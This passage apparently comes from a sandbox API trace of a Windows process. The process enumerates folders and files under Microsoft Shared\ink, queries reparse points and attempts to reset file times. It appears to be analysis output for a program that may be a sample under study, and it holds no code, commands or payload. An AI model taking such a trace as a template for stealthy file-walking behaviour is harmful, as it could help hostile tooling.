shared\\ink\\fsdefinitions\\symbols"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.474] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0049.474] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.474] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.474] NtClose (Handle=0x190) returned 0x0 [0049.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.474] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.474] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.474] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.474] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.474] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0049.475] GetLastError () returned 0x12 [0049.475] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.475] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dc0758, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1dc0758, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ea-sym.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d9a5fb, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x1d9a5fb, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x900155a5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp-sym.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9003b703, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9003b703, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xacc, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbase.xml", cAlternateFileName="")) returned 0 [0049.475] GetLastError () returned 0x12 [0049.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.475] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.475] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8fe7269b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x8fe7269b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x8fe7269b, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x0, dwReserved1=0x0, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0049.475] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="web", cAlternateFileName="")) returned 1 [0049.475] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x174eb98 | out: lpFileInformation=0x174eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0049.528] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ebdc, lpLastWriteTime=0x174ebdc) returned 0 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.528] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174ec34, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174ec34, lpOverlapped=0x0) returned 0 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.528] NtClose (Handle=0x188) returned 0x0 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92680 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92788 [0049.528] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d1a0 [0049.528] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.528] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.528] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf92890 [0049.528] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91030 [0049.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94770 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0049.529] GetLastError () returned 0x12 [0049.529] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x174e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174e9e4) returned 0x60d220 [0049.529] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174e9e4 | out: lpFindFileData=0x174e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900d3c7b, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x900d3c7b, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x900f9dd9, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x48e, dwReserved0=0x0, dwReserved1=0x0, cFileName="webbase.xml", cAlternateFileName="")) returned 0 [0049.529] GetLastError () returned 0x12 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92788) returned 1 [0049.529] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92890) returned 1 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf92680) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90061861, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x90061861, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x90061861, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xcf, dwReserved0=0x0, dwReserved1=0x0, cFileName="web.xml", cAlternateFileName="")) returned 0 [0049.529] GetLastError () returned 0x12 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf91b28) returned 1 [0049.529] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf91c30) returned 1 [0049.529] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0049.529] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he-IL", cAlternateFileName="")) returned 1 [0049.529] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.529] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0049.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0049.530] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf958e8 [0049.530] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf958e8, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf958e8, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0049.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf958e8) returned 1 [0049.530] NtClose (Handle=0x184) returned 0x0 [0049.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0049.530] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0049.530] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.530] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.530] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0049.530] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0049.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0049.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf91050 [0049.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf94878 [0049.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0049.531] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2dd4721, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2dd4721, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0049.531] GetLastError () returned 0x12 [0049.531] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0049.531] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0049.531] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.531] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2bbf40b, ftCreationTime.dwHighDateTime=0x1ca0420, 